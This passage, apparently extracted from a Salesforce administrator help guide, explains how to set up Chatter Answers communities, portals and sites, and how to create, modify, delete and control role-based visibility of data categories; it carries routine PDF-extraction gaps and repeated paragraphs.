chatter_answers_num_subscriptions_above_limit_wf, which you can customize and activate so that questions
without best replies or questions with a specified number of followers are automatically escalated to cases.
See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
After you enable Chatter Answers, the Visualforce pages below are automatically added to your organization. You can use
these pages to set up and configure Chatter Answers communities.
Visualforce page
Description
Community Name_main
(Home Page)
1548
Customize
Visualforce page
Description
The page also includes a language attribute that matches your
organizations default language.
ChatterAnswersAgentView
ChatterAnswersChangePassword
ChatterAnswersForgotPassword
ChatterAnswersForgotPasswordConfirm
ChatterAnswersHelp
The online help page displayed to users when they click Need
Help?.
ChatterAnswersLogin
ChatterAnswersRegistration
See Also:
Enabling Chatter Answers
Setting Up Chatter Answers
Visualforce Overview
Customize Application
Determine when emails are sent to users by configuring the notification settings that apply to all of your Web communities.
Each email includes a link to a specific community so that users can easily return to it.
1. Click Your Name > Setup > Customize > Chatter Answers > Email Notification Settings.
2. Click Edit.
3. Choose from the following settings:
Option
Description
1549
Customize
Option
Description
Selects a best answer on a question they Notify customers when a best answer is selected for a question theyre
following.
follow
Sends a private reply to their question Notify customers when customer support responds to their questions
privately.
(Customer Support)
4. Click Save.
See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Configuring a Chatter Answers Community
Customize Application
Configure a Customer Portal for Chatter Answers to authenticate users who sign in to your Chatter Answers community.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Customer Portal > Settings.
Click Edit next to the Customer Portal you want to configure for Chatter Answers.
Click Login Enabled to let customers sign in to Chatter Answers.
In From Email Address, type the address from which all email communications from your Chatter Answers community
are sent. For example, support@acme.com.
5. In From Email Address Name, type the name associated with the From Email Address. For example, Acme
Customer Support.
6. Click Self-Registration Enabled to let customers register themselves for access to Chatter Answers.
7. In Default New User License, choose the portal user license thats automatically assigned to customers who
self-register. We recommend you choose the High Volume Customer Portal license.
8. In Default New User Profile, choose the profile thats automatically assigned to customers who self-register. We
recommend you choose the profile you cloned and customized for self-registration.
9. Click Save.
10. Assign the profile you selected as the Default New User Profile to your Customer Portal so that users can sign in
to your community:
a. Click Your Name > Setup > Customize > Customer Portal > Settings.
b. Select your portals name.
1550
Customize
See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Enabling Customer Portal Login and Settings
Understanding User License Types
Customize Application
Configure Customer Portal users for self-registration to your Chatter Answers community.
1. Clone the High Volume Customer Portal profile so that you can customize it:
a.
b.
c.
d.
Click Your Name > Setup > Manage Users > Profiles.
Click Clone next to High Volume Customer Portal.
Type a name for the new profile.
Click Save.
2. Customize the cloned profile to include permissions to the standard objects on your community:
a.
b.
c.
d.
Click Your Name > Setup > Manage Users > Profiles.
Click the name of the cloned profile.
Click Edit.
In Standard Object Permissions, click on the following permissions to these objects:
Object
Permissions
Cases
Read, Create
Contacts
Read
Questions
Read, Create
1551
Customize
e. Click Save.
See Also:
Setting Up Chatter Answers
Configuring a Customer Portal for Chatter Answers
Chatter Answers Users Overview
Customize Application
Configure a Force.com site for Chatter Answers to host a domain and publicly display some of your Salesforce data, such as
questions, replies, and knowledge articles.
1. Click Your Name > Setup > Develop > Sites.
2. Click Edit next to the name of the site you want to configure for Chatter Answers.
3. Click Active to activate the site.
You can activate the site after youve finished setting up Chatter Answers.
4. In Active Site Home Page, choose a Visualforce page as the home page for your Chatter Answers community.
5. Click Save.
6. Click Edit on the Site Visualforce Pages related list.
a. Use the Add and Remove buttons to enable the following Visualforce pages for your site:
ChatterAnswersAgentView
ChatterAnswersChangePassword
ChatterAnswersForgotPassword
ChatterAnswersForgotPasswordConfirm
ChatterAnswersHelp
ChatterAnswersLogin
ChatterAnswersRegistration
b. Click Save.
7. Click Public Access Settings to grant guest users (unauthenticated, non-Customer Portal users) access to cases, questions,
and Salesforce Knowledge articles.
a. Click Edit on the profile for Chatter Answers users.
b. In Standard Object Permissions, click Read on Cases and Questions.
c. Optionally, if you want articles to display in your Chatter Answers community, click Read on articles types in Article
Type Permissions.
1552
Customize
d. Click Save.
8. Click Edit next to a category group in the Category Group Visibility Settings related list to grant users access to the
categories so that they can browse questions, replies, and knowledge articles.
a. Next to Visibility, click All Categories.
b. Click Save.
9. Return to the site and select its name by clicking Your Name > Setup > Develop > Sites.
10. Click Login Settings to enable user authentication for the site.
a. Click Edit.
b. In Enable Login For, choose the Customer Portal you created for Chatter Answers.
c. Click Save.
After you configure your Force.com site for Chatter Answers, you can replace the standard Visualforce pages that make up
your community with customized ones. The Visualforce pages are automatically set to your sites URL so that portal users can
navigate to them.
1. Click Your Name > Setup > Customize > Chatter Answers > Sites Settings.
2. Click Edit next to a site.
3. Choose the pages to replace. If you replace the Change Password Page, the Change Password Page for your site
is automatically updated too.
4. Click Save.
Note: Internet Explorer 8 users receive a security warning if you customize Chatter Answers with URLs that don't
include https://.
See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Configuring Force.com Sites
Visualforce Pages for Chatter Answers
1553
Customize
Manage Users
AND
Customize Application
Customize Application
To customize fields:
Customize Application
Configure case features for Chatter Answers so that cases are created, escalated, and accessed by the appropriate users of your
Chatter Answers communities.
1. Set your organization-wide sharing defaults to Private on Account, Controlled by Parent on Contact, and Private on Case
to prevent users from accessing each others information.
2. Set field-level security on Question on cases to Visible for profiles assigned to your Customer Portal so that users can
access their private questions.
3. Update Origin on cases with the value in the Question trigger so that support agents can see which cases originated from
Chatter Answers.
4. Create a case assignment rule where Case Origin equals the value of Chatter Answers so that cases created from private
questions are assigned to support agents.
5. Grant high-volume portal users access to cases so that they can access their private questions on Chatter Answers.
See Also:
Setting Up Chatter Answers
1554
Customize
Manage Users
Set the visibility of the Questions tab to Default On so that support agents can view, search, filter, and moderate questions
posted to your Chatter Answers community.
1. Click Your Name > Setup > Manage Users > Profiles.
2. Select a support agent profile.
3. Depending on which user interface you're using, do one of the following:
Enhanced profile user interfaceIn the Find Settings... box, enter the name of the tab you want and select it from
the list, then click Edit.
Original profile user interfaceClick Edit, then scroll to the Tab Settings section.
See Also:
Setting Up Chatter Answers
Customizing Your Display
Questions Home
Customize Application
Assign a data category group to Chatter Answers so that its available to all of your Chatter Answers communities. You
configure each community with a top-level data category (topic) in which customers and support agents can categorize and
filter questions and knowledge articles.
1. Click Your Name > Setup > Customize > Chatter Answers > Data Category Assignments.
1555
Customize
2. Click Edit.
3. Select a category group.
4. Click Save.
See Also:
Setting Up Chatter Answers
What are Data Categories?
Manage Users
Customize Application
AND
Manage Salesforce Knowledge
To manage synonyms:
Manage Synonyms
1556
Customize
5. Optionally, allow support agents to promote replies to draft articles in the knowledge base so that your support team can
capture useful information quickly.
See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Overview of Roles
About Category Group Visibility
Creating and Modifying Category Groups
Customize Application
Configure a Chatter Answers community to integrate the user authentication features of the Customer Portal with the domain
and public data features of a Force.com site.
1.
2.
3.
4.
5.
6.
Click Your Name > Setup > Customize > Chatter Answers > Communities.
Select an existing community, or click New to create a new community.
Type a name and description for your community.
Click Active to activate the community for ideas, answers, or Chatter Answers.
In Portal, choose the Customer Portal in which to authenticate community members.
Optionally, in Portal Email Notification URL, customize the portal URL thats included in email notifications
sent from the community.
This field only displays if youve chosen to show Chatter Answers in a Customer Portal. The URL is automatically generated
to include your portals ID and a question or case ID; but you might want to customize the URL to redirect users to a
specific login page. For example, if youve created a login page from which users can access multiple communities, you can
customize Portal Email Notification URL to redirect users to that page from email notifications.
7. Click Enable This Community for Chatter Answers to associate the community with Chatter Answers.
8. Click Enable Private Questions to let customers post their questions privately to customer support (create cases). If you
dont select this setting, support agents can still initiate private communications with customers.
9. In Data Category for Top-Level Topics, choose the top-level topic in which customers and support agents can
categorize and filter questions and knowledge articles.
10. In Site That Hosts Your Community, click
community.
and choose the Force.com site on which you want to host the
1557
Customize
The page you choose must include the chatteranswers:allfeeds component so that the community is linked to
your Force.com site correctly. If you dont choose a Visualforce page, one is automatically generated when you save your
community. The generated page includes your communitys ID so that topics, questions, and replies are associated with
your specific community and can display on it. The page is named after your community with a suffix of _main, for
example, CommunityName_main. The page also includes a language attribute that matches your organizations default
language.
12. Optionally, in Header or Footer, click and choose a text or HTML file that incorporates your organizations branding
into the headers or footers of email notifications sent from the community.
You can only choose a file that has been uploaded to a publicly accessible folder on the Documents tab and marked
Externally Available Image. The files you include in the fields can have a combined size of up to 10 KB.
13. Click Save.
Note: You can create a community for each product you want to support. If you create multiple communities, your
portal users have access to all of them. Each question a user creates is associated with the community in which its
posted, and the community name is added to each question so that users and support agents can see where it originated.
Users can view all of the questions theyve posted to your communities by clicking My Questions from any community.
You only need one Force.com site and one Customer Portal to support multiple communities.
See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Managing Data Categories
Customize Application
After you set up a Chatter Answers community, you can view a snapshot of all of its configurations on one page so that you
dont have to visit several pages in setup to diagnose issues.
1. Click Your Name > Setup > Customize > Chatter Answers > Sites Settings.
2. In the Site Snapshot column, click View next to the Force.com site associated with your community.
3. Click
to show or
to hide various settings.
4. Click Go! to go to a specific page in setup where you can change settings.
1558
Customize
For example, you can use a site snapshot to see if the Force.com site hosting your community is marked Active or to verify
the names of the user profiles assigned to your communitys Customer Portal.
See Also:
Chatter Answers Implementation Overview
Chatter Answers Users Overview
Setting Up Chatter Answers
You can add Chatter Answers to an existing Customer Portal or Partner Portal so that portal users can access Chatter Answers
communities from one of your established channels. After users log in to one of your portals, they can access Chatter Answers
from a tab and choose which community to view from a drop-down list. If you only want to display Chatter Answers in your
portals, then you dont need to set up a Force.com site to host Chatter Answers. However, a site lets guest users access some
Chatter Answers data without a login, whereas portals do not.
The following occurs to Chatter Answers when it appears in a portal:
See Also:
Setting Up Chatter Answers
Setting Up Your Customer Portal
Partner Portal Overview
1559
Customize
Customize Application
You can add Chatter Answers to an existing Customer Portal so that portal users can access Chatter Answers communities
from one of your established support channels.
1. Enable Chatter Answers for portals:
a.
b.
c.
d.
Click Your Name > Setup > Customize > Chatter Answers > Settings.
Click Edit.
Select Show Chatter Answers in Portals.
Click Save.
Click Your Name > Setup > Manage Users > Profiles.
Click Edit next to a portal user profile.
In Tab Settings, choose Default On for Chatter Answers.
In Standard Object Permissions, click Read and Create on Questions.
Click Save.
3. Add the Chatter Answers User feature license to Customer Portal users:
a.
b.
c.
d.
Click Your Name > Setup > Manage Users > Users.
Click Edit next to a portal user.
Click Chatter Answers User.
Click Save.
Click Your Name > Setup > Customize > Customer Portal > Settings.
Click the name of a Customer Portal.
Click Customize Portal Tabs.
Select Chatter Answers and click the Add arrow to move the Chatter Answers tab into the Selected Tabs box.
Click Save.
5. Optionally, rename the Chatter Answers tab for your Customer Portal:
a.
b.
c.
d.
Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels.
Click Edit next to Questions.
Click Next.
In Other Labels, rename Chatter Answers. You can only rename it as Singular, not Plural.
1560
Customize
e. Click Save.
See Also:
Adding Chatter Answers to a Portal
Customize Application
You can add Chatter Answers to an existing Partner Portal so that portal users can access Chatter Answers communities from
one of your established partner channels.
1. Enable Chatter Answers for portals:
a.
b.
c.
d.
Click Your Name > Setup > Customize > Chatter Answers > Settings.
Click Edit.
Select Show Chatter Answers in Portals.
Click Save.
Click Your Name > Setup > Manage Users > Profiles.
Click Edit next to a portal user profile.
In Tab Settings, choose Default On for Chatter Answers.
In Standard Object Permissions, click Read and Create on Questions.
Click Save.
3. Add the Chatter Answers User feature license to Partner Portal users:
a.
b.
c.
d.
Click Your Name > Setup > Manage Users > Users.
Click Edit next to a portal user.
Click Chatter Answers User.
Click Save.
Click Your Name > Setup > Customize > Partners > Settings.
Click the name of a Partner Portal.
Click Customize Portal Tabs.
Select Chatter Answers and click the Add arrow to move the Chatter Answers tab into the Selected Tabs box.
Click Save.
5. Optionally, rename the Chatter Answers tab for your Partner Portal:
a. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels.
b. Click Edit next to Questions.
1561
Data Categories
c. Click Next.
d. In Other Labels, rename Chatter Answers. You can only rename it as Singular, not Plural.
e. Click Save.
See Also:
Adding Chatter Answers to a Portal
DATA CATEGORIES
What are Data Categories?
Available in: Enterprise, Unlimited, and Developer Editions
Data categories can be used by Salesforce Knowledge (articles and article translations) and answers communities (questions)
to help users classify and find articles or questions. Administrators can use data categories to control access to articles and
questions.
Salesforce Knowledge supports a five-level hierarchy of data categories within each category group. You can classify articles
in the knowledge base according to multiple categories that make it easy for users to find the articles they need. For example,
to classify articles by sales regions and business units, create two category groups, Sales Regions and Business Units. The Sales
Regions category group could consist of a geographical hierarchy, such as All Sales Regions as the top level, North America,
Europe, and Asia at the second level, and so on.
In an answers community, data categories help organize questions for easy browsing. Each community supports one category
group. For example, if you're a computer manufacturer you might create a Products category group that has four sibling
categories: Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. On the Answers tab,
community members can assign one of the four categories to each question and then browse these categories for answers to
specific questions.
Benefits of Data Categories
Logical Classification of Articles
As a knowledge base administrator, you can organize your knowledge base articles into a logical hierarchy and tag articles
with the attributes that are significant to your business.
1562
Customize
Figure 10: An Article About Laptop Deals on the Article Management Tab
The next figure now illustrates an agent finding that same article published on the Articles tab; the agent has selected Laptops
and USA respectively in the Products and Geography drop-down menus to retrieve an article that is classified with both
Laptops and USA.
1563
Customize
You can create up to three category groups with a maximum of five hierarchy levels in each group. Each category group
can contain a total of 100 categories.
1564
Customize
If you want to use data categories in an answers community, after creating your category group you must assign it to a
community at Your Name > Setup > Customize > Answers > Data Category Assignments. You can only assign one
category group to an answers community. Salesforce Knowledge supports multiple category groups.
Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is
supported in your answers community. Child categories below the first level are not displayed in the community, and
community members can't assign these child categories to questions. Salesforce Knowledge supports a hierarchy of data
categories.
Category groups are hidden from users until they are activated. Do not activate a category group until you have finished
defining its categories and their access settings, including their mapping to roles.
When assigning categories to articles, you can choose up to eight categories in a category group.
If an article has no categories, it displays only when you choose the No Filter option in the category drop-down menu.
When searching for articles or article translations, selecting a category automatically includes the parent and children of
that category and any grandparents, up to and including the top level. Sibling categories are not included. For example, if
a category hierarchy has the levels All Products, Switches, Optical Networks, and Metro Core, selecting Optical Networks
from the category drop-down menu returns articles assigned to any of the four categories. However, if the Switches category
has a sibling category called Routers, selecting Optical Networks does not return articles classified within Routers.
Category visibility settings may limit the specific articles you can find.
Once role-based visibility settings have been chosen for the categories:
Users who are not assigned to a role can only see uncategorized articles and questions unless default category visibility
has been set up.
By default Customer Portal users and partner portal users inherit the category group visibility settings assigned to their
account managers. You can change the category group visibility settings for each portal role.
If you only have access to one category in a category group, the category drop-down menu for that category group does
not display on the Articles tab.
Deleting a category:
Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
Permanently deletes its child categories.
As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles
tab in all channels, and your company's public knowledge base.
Removes associations between the category and articles or questions. You can reassign articles and questions to another
category.
Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted
category.
You can translate the labels of categories and category groups using the Translation Workbench.
Best Practices
Consider the following tips when using data categories:
1565
Customize
See Also:
Managing Data Categories
Salesforce Knowledge Overview
Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help
users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions.
For more information, see What are Data Categories? on page 1562
Click Your Name > Setup > Customize > Data Categories to view the Data Categories page where you can:
Create a category group. A category group is the container for a set of categories. In Salesforce Knowledge it appears as
the name of the category drop-down menu on the Article Management and Articles tabs. For example, if you create two
category groups called Geography and Products, the Article Management and Articles tabs will have two category menus
from which to pick specific categories: Geography and Products. In answers communities, the name of the category group
does not display on the Answers tab.
Add categories to a category group. After creating a category group, you can create a hierarchy of categories within that
group. These are the values that users select when assigning a category to an article or question and when searching for
articles or questions.
Modify existing categories. You can change a category's name, update its other attributes, move it to another location in
the hierarchy, or reorder categories alphabetically.
Delete a category group. You can delete, restore, or permanently erase a category group.
Delete a category. You can permanently remove any category.
Translate categories. You can translate your categories with the languages you want to support.
Hover over a category group to view its properties and see whether it is used in Salesforce Knowledge or an answers
community.
1566
Customize
Note: By default, Salesforce Knowledge users and answers community members have access to all articles and questions
associated with any category. If you want to restrict access to articles and questions, you can modify visibility settings
for data categories.
See Also:
Creating and Modifying Category Groups
Deleting and Undeleting Category Groups
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Deleting Data Categories
Salesforce Knowledge Terminology
Category groups can be used by Salesforce Knowledge (articles) or answers communities (questions). In both cases, category
groups are containers for individual data categories. For example, a Contracts category group might contain Fixed Price, Cost
Reimbursement, and Indefinite Delivery categories. For more information, see What are Data Categories? on page 1562
To create or edit a category group:
1. Click Your Name > Setup > Customize > Data Categories.
2. To create a new category group, click Create New in the Category Groups section. By default, you can create a maximum
of five category groups and three active category groups. Contact salesforce.com to request additional category groups.
To edit an existing category group, hover your cursor over the category group name and then click the Edit Category
Group icon (
).
3. Specify the Group Name. This name appears as the title of the category drop-down menu on the Article Management
and Articles tabs, and, if applicable, in the public knowledge base. The Group Name does not appear on the Answers tab.
4. Optionally, modify the Group Unique Name. This is a unique name used to identify the category group in the SOAP
API.
5. Optionally, enter a description of the category group.
6. Click Save. You receive an email after the save process completes.
You can now add categories to your category group. When you create a new category group, Salesforce automatically creates
a top-level category in the group named All. Optionally, double-click All to rename it.
1567
Customize
).
See Also:
Managing Data Categories
Adding Data Categories to Category Groups
Deleting and Undeleting Category Groups
Managing Articles and Translations
About Category Group Visibility
Caution: Deleting a category group deletes all of its categories and removes all associations between the categories
and articles or questions. Read this entire topic carefully to understand the consequences of deleting category groups.
To delete a category group:
1. Click Your Name > Setup > Customize > Data Categories.
2. Hover your cursor over the category group name.
3. Click the Delete Category Group icon (
).
4. Select the checkbox in the confirmation dialog, then click OK.
Consequences of Deleting Category Groups
Deleting a category group:
Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not edit
them. It holds category groups for 15 days before they are permanently erased and cannot be recovered. During the 15day
holding period, you can either restore a category group, or permanently erase it immediately.
Deletes all categories within that group.
1568
Customize
Removes all associations between the group's categories and articles or questions.
Removes all associations between the group's categories and roles.
As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management tab,
and your company's public knowledge base.
).
The category group moves to the Category Groups section as an inactive category group, and associations with articles,
questions, and roles are restored.
See Also:
Creating and Modifying Category Groups
Managing Data Categories
Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help
users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions.
For more information, see What are Data Categories? on page 1562
By default, for each category group you can create up to 100 categories and organize those categories into up to five hierarchy
levels. To request additional categories or hierarchy levels, contact salesforce.com.
Note: Because only first-level data categories display on the Answers tab, when creating data categories for an answers
community ensure that the categories you want visible have a sibling relationship and not a parent-child relationship.
To add categories to a category group:
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Data Categories.
Click the category group name.
Click a category that is directly above where you want to add a category (a parent), or at the same level (a sibling).
Click Actions, then select an action: Add Child Category or Add Sibling Category.
Enter a category name.
1569
Customize
If possible, Salesforce automatically reuses the name you entered as the Category Unique Name, a system field which
the SOAP API requires.
6. Click Add. Alternatively, press Enter.
7. Click Save. Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.
Tip: By default, all Salesforce Knowledge users and answers community members can see all categories within an
active category group. You can restrict category visibility after you have set up your data categories to ensure that users
only access articles and questions that you want them to see.
See Also:
Managing Data Categories
Modifying and Positioning Data Categories
Deleting Data Categories
Keyboard Shortcuts For Data Categories
Caution: Modifying categories can result in long processing times, changes to the visibility of articles, changes to the
categorization of articles and questions, and other significant consequences. Read this entire topic carefully before
modifying categories.
To modify the data categories in a category group and their positions in the hierarchy:
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Data Categories.
Click a category group name.
Optionally, click Expand All to display the full category hierarchy, or Collapse All to display only the top-level categories.
Double-click a category to edit its name or its unique API name.
Use drag-and-drop editing to reposition a category in the hierarchy. As you drag, a red icon indicates an invalid destination,
while a green icon indicates a valid destination:
Drag a category on top of another category to reposition it as a child of the destination category. For example, drag
USA on top of North America to make USA one level below North America. After dragging, the category displays
below the other child categories at that level.
Drag a category to a line that borders another category to reposition it as a sibling of that category. For example, to
position USA between Canada and Mexico, drag it to the line between Canada and Mexico.
1570
Customize
6. Hover your cursor over a category name, then choose Order Child Categories Alphabetically from the
Actions drop-down list to reorder that category's children in alphabetical order. This only affects the first level children,
not grandchildren or deeper levels.
7. As you modify the category hierarchy, click Undo to cancel your last actions. Similarly, click Redo to step forward through
your flow of performed actions.
8. Click Save. You will receive an email when the save process completes.
Note: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to
save.
1571
Customize
To understand how this change affects which roles can see articles classified with the PDAs category, see the following table.
When my
role is
mapped to:
Could I see
PDA articles in
their old
location under
Computers?
Yes
Computers
Yes
No
You don't have access to the branch of the category hierarchy where
PDAs is now located.
Consumer
Electronics
No
Yes
PDAs has moved to the branch of the category hierarchy where you
have been granted access.
Articles formerly classified with both Consumer Electronics and PDAs lose PDAs, because having Consumer Electronics
now implies having PDAs.
Articles formerly classified with only Consumer Electronics but not PDAs do not change. Access to PDAs is now implied.
Articles formerly classified with only PDAs, but not Consumer Electronics, retain PDAs.
See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories to Category Groups
Deleting Data Categories
Keyboard Shortcuts For Data Categories
1572
Customize
Caution: Deleting categories can result in long processing times, changes to the visibility of articles and questions,
changes to the categorization of articles and questions, and other significant consequences. Read this entire topic
carefully before deleting categories.
To delete a category:
1.
2.
3.
4.
5.
6.
Click Your Name > Setup > Customize > Data Categories.
Click a category group name.
Click a category name. If necessary, click Expand All to display all categories in the category group.
Press DELETE, or choose Delete Category from the Actions drop-down list.
Click OK in the confirmation dialog box.
Choose how you want to reclassify articles associated with the deleted category or the deleted category's children:
In all cases, the articles retain their categories from other category groups.
7. Click Save.
Deleting a category:
Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
Permanently deletes its child categories.
As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles tab
in all channels, and your company's public knowledge base.
Removes associations between the category and articles or questions. You can reassign articles and questions to another
category.
Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted
category.
1573
Customize
Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or questions or using category drop-down lists.
See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Keyboard Shortcuts For Data Categories
Use the following keyboard shortcuts to work quickly with data categories.
Task
Action
Keyboard Shortcut
Adding a category
ENTER
ENTER+TAB
ESC
ENTER
Modifying a category
Open the Edit Category field for the selected category SPACEBAR
Close the Edit Category field.
ESC
ENTER
TAB
SHIFT+TAB
Deleting a category
DELETE
UP ARROW
Demoting or promoting a
category
1574
Customize
Task
Canceling or repeating an
action
Action
Keyboard Shortcut
DOWN ARROW
LEFT ARROW
RIGHT ARROW
CTRL+Z
CTRL+Y
CTRL+S
See Also:
Managing Data Categories
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Deleting Data Categories
Manage Users
To view users:
To edit users:
Manage Users
To view categories:
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
1575
Customize
If you have visibility on Ohio and Desktop (but not California), you can see the article.
If you don't have visibility on either California or Ohio but do have visibility on Desktop, you do not see the article.
If you have visibility on California but not Desktop, you do not see the article.
Revoked Visibility
A role's visibility can be revoked (set to None) for a particular category group. Users in the target role can only see articles and
questions that aren't classified with a category in that category group. For example, if a user's role has revoked visibility in the
Geography category group but visibility to the Products category group, he or she can only see articles that have no categories
in Geography and are classified with a category in Products. Because an answers community can only be assigned to one
1576
Customize
category group, if the Geography category group was assigned to the community and a member's role visibility was revoked
for that group, the member could only see uncategorized questions.
See Also:
What are Data Categories?
Editing Role-Based Category Group Visibility
Modifying Default Data Category Visibility
Examples of Category Group Visibility Settings for Articles
Viewing Category Group Visibility on Roles
Manage Users
To view users:
To edit users:
Manage Users
To view categories:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To edit a role's category group visibility setting:
1. Click Your Name > Setup > Manage Users > Role and select a role. If the role is for a Customer Portal or partner portal
user, click Your Name > Setup > Manage Users > Users and click the name of the role.
2. In the Category Group Visibility Settings related list, click Edit next to the category group you want to modify. Alternatively,
click the name of a category group and then click Edit.
3. Select a visibility setting:
1577
Customize
Visibility Setting
Description
All
Users can see all categories in the category group. This option is only available for the topmost role
in the role hierarchy. When you create a new category group, its visibility is defaulted to All for
the topmost role in the role hierarchy, and all subordinate roles inherit that setting.
Inherited
from...
The role inherits its parent role's visibility settings. If the parent role's settings change, the child
role stays in sync. Click the name of the parent role to see its category group visibility settings.
None
Custom
Users see your custom selection of categories. You can choose from the categories that are visible
to the parent role. If the parent role's visibility changes to be less than its child's visibility, the child
role's category visibility is reset to its parent's category visibility.
To select categories, double-click the category in the Available Categories box. Alternatively,
select a category and then click Add. Selecting a category implicitly includes its child and parent
categories as well. Categories that are grayed out in the All Categories box are not available for
selection because their parent has already been selected.
Note: If you are customizing a role that was previously set to All Categories, you must first
remove All from the Selected Categories box before you can select specific categories.
4. Click Save.
Implementation Tips
When you create a new category group, its visibility is defaulted to All for the topmost role in the role hierarchy, and all
subordinate roles inherit that setting.
When you add a category to a role's visibility, you also grant visibility to its child and parent categories. If you want to give
a role access to all categories in a branch of the category hierarchy, select the top level category All Categories.
Users who are not assigned to a role can only see uncategorized articles and questions unless:
The user has the View all Data permission
A category group has been made visible to all no-role users on the Your Name > Setup > Customize > Data Categories
> Category Group Visibility page.
By default, Customer Portal users and partner portal users inherit the role assigned to their account managers. You can
change the category group visibility settings for each portal role.
Best Practices
Keep your category groups deactivated to set up your category hierarchy and assign role-based category visibility. Until you
manually activate a category group, it does not display in Salesforce Knowledge or your answers community
1578
Customize
Always set up category group visibility in a top-down approach from the top of the role hierarchy down to the bottom.
Give the highest roles the most visibility and give subordinate roles reduced visibility.
See Also:
Managing Data Categories
About Category Group Visibility
Examples of Category Group Visibility Settings for Articles
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To modify the default visibility for data categories:
1. Click Your Name > Setup > Customize > Data Categories > Default Data Category Visibility. All active and inactive
category groups are listed.
2. Pick a category group and click Edit.
3. Choose All to make all the categories in the category group visible by default, None to make none of the categories visible
by default, or Custom to make some of the categories visible by default.
4. If you chose Custom, move categories from the Available Categories area to the Selected Categories area as needed.
Selecting a category implicitly includes its child and parent categories as well. Move categories from the Selected Categories
area back to the Available Categories area to remove default visibility.
1579
Customize
For important information about how visibility settings are applied, see About Category Group Visibility on page 1575.
See Also:
What are Data Categories?
About Category Group Visibility
How Category Visibility Differs from Other Salesforce Models
Manage Users
To view users:
To edit users:
Manage Users
To view categories:
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To understand the settings and their impact, see About Category Group Visibility on page 1575.
Viewing a Role's Category Group Visibility
To view a role's category visibility setting, click Your Name > Setup > Manage Users > Roles, and select a role. To view the
category visibility settings for a Customer Portal or partner portal role, click Your Name > Setup > Manage Users > Users
and click the name of the role.
The Category Group Visibility Settings related list summarizes which categories users in the role can see, according to category
group. The following table explains the possible values in the Visibility column of the related list:
1580
Customize
Visibility
Description
All
Users can see all categories in the category group. This option
is only available for the topmost role in the role hierarchy.
When you create a new category group, its visibility is
defaulted to All for the topmost role in the role hierarchy,
and all subordinate roles inherit that setting.
Inherited from...
None
Custom
See Also:
Managing Data Categories
About Category Group Visibility
Editing Role-Based Category Group Visibility
Examples of Category Group Visibility Settings for Articles
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
These settings are unique to articles and questions and differ from other Salesforce models:
1581
Customize
See Also:
Managing Data Categories
About Category Group Visibility
Viewing Category Group Visibility on Roles
Editing Role-Based Category Group Visibility
Examples of Category Group Visibility Settings for Articles
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
